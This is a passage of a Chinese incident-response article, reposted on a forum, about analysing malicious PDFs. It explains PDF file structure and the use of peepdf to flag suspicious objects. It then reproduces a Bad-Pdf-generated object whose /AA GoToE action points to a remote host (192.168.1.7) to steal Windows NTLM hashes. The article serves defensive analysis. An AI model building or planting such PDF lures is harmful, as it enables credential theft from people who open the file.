搜索

[18831] 2021-08-30_应急响应之PDF分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2021-08-30_应急响应之PDF分析 应 急 响 应 之 P D F 分 析 原 创   花 十 一 一   h u a s e c   2 0 2 1 - 0 8 - 3 0 收 录 于 话 题   # 应 急 响 应   , 2 6 个 0 1 — P D F 介 绍             P D F ( P o r t a b l e   D o c u m e n t   F o r m a t , 便 携 式 文 档 结 构 ) 是 一 种 文 件 格 式 ， 广 泛 适 用 于 办 公 场 景 下 ， 在 针 对 特 定 目 标 投 递 包 含 恶 意 代 码 的 P D F 文 档 ， 用 户 只 要 打 开 P D F 文 档 就 会 被 攻 击 ，   在 分 析 恶 意 P D F   之 前 ， 首 先 需 要 了 解 一 些   P D F   文 件 结 构 ， P D F 文 件 结 构 可 分 为 以 下 几 块 :     1 、 h e a d e r :   p d f 文 件 的 第 一 行 , 格 式 如 下 :     % P D F - 1 . 7 表 示 当 前 文 件 的 版 本 是 1 . 7 2 、 b o d y :   p d f 文 件 中 用 到 的 所 有 对 象 , 包 括 文 本 、 图 像 、 音 乐 、 视 频 、 字 体 、 等 等 , 格 式 如 下 :   其 中 省 略 号 部 分 是 p d f 规 定 的 对 象 3 、 c r o s s - r e f e r e n c e       t a b l e :   所 有 p d f 对 象 的 引 用 表 , 其 格 式 如 下 :   其 中 , x r e f 是 开 始 标 志 , 表 示 以 下 为 引 用 表 内 容 ; 0       5 表 示 从 对 象 号 为 0 的 开 始 ,   连 续 有 5 个 对 象 ( 0 、 1 、 2 、 3 、 4 ) ， 分 别 用 5 行 来 表 示 ， 每 行 的 前 1 0 个 数 字 代 表 这 个 对 象 相 对 文 件 头 的 偏 移 地 址 ， 后 面 5 个 数 字 只 有 当 这 个 对 象 被 删 除 的 时 候 才 有 用 ， 表 示 这 个 对 象 被 删 除 后 又 被 重 新 生 成 后 的 对 象 号 ， 最 后 一 位 f 或 n 表 示 对 象 是 否 被 使 用 ( n 表 示 使 用 , f 表 示 被 删 除 或 没 有 用 )   。 4 、 t r a i l e r : 说 明 文 件 尾 对 象 开 始     2     0       o b j       . . .       e n d     o b j x r e f   0       5   0 0 0 0 0 0 0 0 0 0       6 5 5 3 5     f   0 0 0 0 0 0 0 0 0 9       0 0 0 0 0     n   0 0 0 0 0 0 0 0 7 4       0 0 0 0 0     n   0 0 0 0 0 0 0 1 2 0       0 0 0 0 0     n   0 0 0 0 0 0 0 1 7 9       0 0 0 0 0     n t r a i l e r   < <   / S i z e       8   / R o o t       1     0       R   > >   s t a r t x r e f   5 5 3  
/ S i z e       : 这 个 p d f 中 总 共 使 用 了 多 少 个 对 象   / R o o t       : 这 个 p d f 文 件 的 c a t a l o g 对 象 的 对 象 号 , 这 是 p d f 中 最 顶 层 的 对 象   / s t a r t x r e f :   后 面 的 数 字 表 示 c r o s s - r e f e r e n c e     t a b l e 的 开 始 位 置   % % E O F : 文 件 结 束 标 志 使 用 十 六 进 制 工 具 打 开 P D F 文 件 ， 以 0 x 2 5   0 x 5 0   0 x 4 4   0 x 4 6 开 头 即 证 明 是 p d f 文 件 0 2 — p e e d f 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / j e s p a r z a / p e e p d f 安 装 p e e p d f 后 ， 可 以 使 用 p e e p d f   f i l e . p d f   命 令 对 P D F 文 件 进 行 扫 描 ， 即 可 获 取 有 关 该 文 件 的 信 息 ， p e e p d f   会 分 析 出 用 于 攻 击 的 可 疑 对 象 ， 如 下 显 示 P D F 的 A c r o F o r m 、 O p e n A c t i o n 、 J S   和   J a v a S c r i p t 信 息 ， 同 时 还 指 出 对 象 1 1 包 含   J a v a S c r i p t 代 码 。 执 行 p y t h o n 2   p e e p d f . p y   - i   p d f 路 径 ， 此 处 " - i " 将 提 供 一 个 交 互 式 s h e l l ， 用 于 对 文 件 进 行 其 他 分 析 。 % % E O F
p e e p d f   将 自 动 显 示 文 件 中 的 可 疑 内 容 ， 字 段 介 绍 如 下 ： / E n c r y p t 指 明 P D F 文 件 是 否 存 在 数 字 水 印 或 者 加 密 。 / O b j e c t s 是 o b j e c t   s t r e a m s 的 数 量 。 o b j e c t   s t r e a m s 是 一 个 可 以 包 含 其 他 O b j e c t 对 象 的 数 据 流 对 象 。 / O p e n A c t i o n ： 打 开 文 件 时 将 执 行 的 操 作 。 / J S   :   一 个 文 本 字 符 串 ， 其 中 包 含 触 发 动 作 时 要 执 行 的   J a v a S c r i p t   脚 本 。 / J a v a S c r i p t ： 执 行   J a v a S c r i p t   代 码 。 通 常 恶 意 的 P D F 文 件 都 嵌 套 有 J a v a S c r i p t 代 码 ， 这 里 一 般 都 是 利 用 J a v a S c r i p t 的 解 析 漏 洞 ， 当 然 也 存 在 正 常 的 P D F 文 件 里 会 含 有 J a v a S c r i p t 代 码 / L a u n c h ： 将 启 动 一 个 应 用 程 序 或 打 开 一 个 文 件 。 如 上 图 p d f 中 有 许 多 包 含 可 疑 元 素 的 对 象 ， p e e d f 还 识 别 出 了 p d f 存 在 漏 洞 想 要 查 看 每 块 内 容 是 什 么 ， 只 需 在 控 制 台 中 输 入 “ o b j e c t   n u m ” 并 按 回 车 键 ， 将 得 到 如 下 所 示 的 内 容 。 例 如 查 看 J S 内 容 ， / S   描 述 了   P D F   要 执 行 的 操 作 类 型 。 正 如 我 们 所 见 ， 它 将 执 行 一 些   J a v a S c r i p t 另 外 p e e p d f 还 支 持 其 他 功 能 ， 可 以 执 行 h e l p 命 令 查 看 ， 例 如 m e t a d a t a ， 查 看 p d f 的 元 数 据 。 0 3
— b a d p d f 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / d e e p z e c / B a d - P d f 使 用 b a d p d f 创 建 的 恶 意 P D F 文 件 可 以 从 w i n d o w s 机 器 窃 取 N T L M   H a s h . 执 行 命 令 后 会 生 成 一 个 名 为 b a d p d f . p d f 的 文 件 ， 在   W i n d o w s   机 器 上 运 行 生 成 的 b a d p d f . p d f 文 件 成 功 获 取   N T L M   H a s h b a d p d f . p d f 有 7 8 1 字 节   ,   3 个 o b j e c t ， 不 存 在 加 密 情 况
/ T y p e   / C a t a l o g 说 明 该 对 象 的 类 型 为 / C a t a l o g ， / P a g e s   2   0   R 这 里 / P a g e s 指 的 是 这 个 根 对 象 包 含 的 / P a g e s 的 目 标 是 对 象 号 为 2 的 对 象 ， 2   0   R 的 意 思 是 对 对 象 2 的 引 用 。 / T y p e   / P a g e s   说 明 对 象 的 类 型 为 页 码 ， / C o u n t   1 说 明 页 码 数 量 为 1 / P a r e n t   2   0   R 说 明 其 父 对 象 的 对 象 号 为 2 ， 及 P a g e s 对 象 ， / R e s o u r c e s   < <   > > 说 明 该 页 所 要 包 含 的 资 源 ， / M e d i a B o x   [ 0   0   6 1 2   7 9 2 ] 说 明 页 面 的 显 示 大 小 ( 以 像 素 为 单 位 ) 通 过 b y t e s 命 令 可 以 查 看 p d f 的 字 节 内 容 ， 如 下 b y t e s   0   7 8 1 可 以 看 到 整 个 p d f 的 字 节 内 容 。
发 现 恶 意 代 码 块 ， 分 析 如 下 / C o n t e n t s   4   0   R 表 示 页 面 内 容 对 象 的 对 象 号 为 4 / P a r e n t   2   0   R 表 示 父 对 象 是 2 3   0   o b j < <   / T y p e   / P a g e       / C o n t e n t s   4   0   R       / A A   < <                       / O   < <                             / F   ( 1 9 2 . 1 6 8 . 1 . 7 t e s t )                                     / D   [   0   / F i t ]                                     / S   / G o T o E                                     > >                       > >                       / P a r e n t   2   0   R                       / R e s o u r c e s   < <                                                 / F o n t   < <                                                                 / F 1   < <                                                                                 / T y p e   / F o n t                                                                                 / S u b t y p e   / T y p e 1                                                                                 / B a s e F o n t   / H e l v e t i c a                                                                                 > >                                                                     > >                                                                 > > > > e n d o b j
/ A A   表 示 一 个 附 加 的 动 作 ， 查 看 p d f 时 候 产 生 动 作 执 行 / F   表 示 要 打 开 的 文 件 路 径 / S   / G o T o E 表 示 转 到 某 个 嵌 入 文 件 ， P D F 规 范 允 许 为 G o T o E ＆ G o T o R 条 目 加 载 远 程 内 容 / D   [   0   / F i t ] 表 示 跳 转 页 D e s t i n a t i o n s ， D e s t i n a t i o n s 定 义 文 档 的 特 定 视 图 ， 是 一 个 数 组 对 象 ， [ 0   / F i t ] 即 显 示 指 定 的 第 0 个 页 面 ， 整 个 页 面 缩 放 到 适 合 窗 口 水 平 和 垂 直 长 度 。 如 果 所 需 的 水 平 和 垂 直 缩 放 的 倍 数 不 同 时 ， 选 择 两 者 中 较 小 的 一 个 倍 数 。 简 单 理 解 就 是 显 示 窗 口 能 显 示 下 整 个 页 面 。 恶 意 代 码 通 过 G o T o E 加 载 1 9 2 . 1 6 8 . 1 . 7 t e s t 的 内 容 实 现 窃 取 h a s h 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理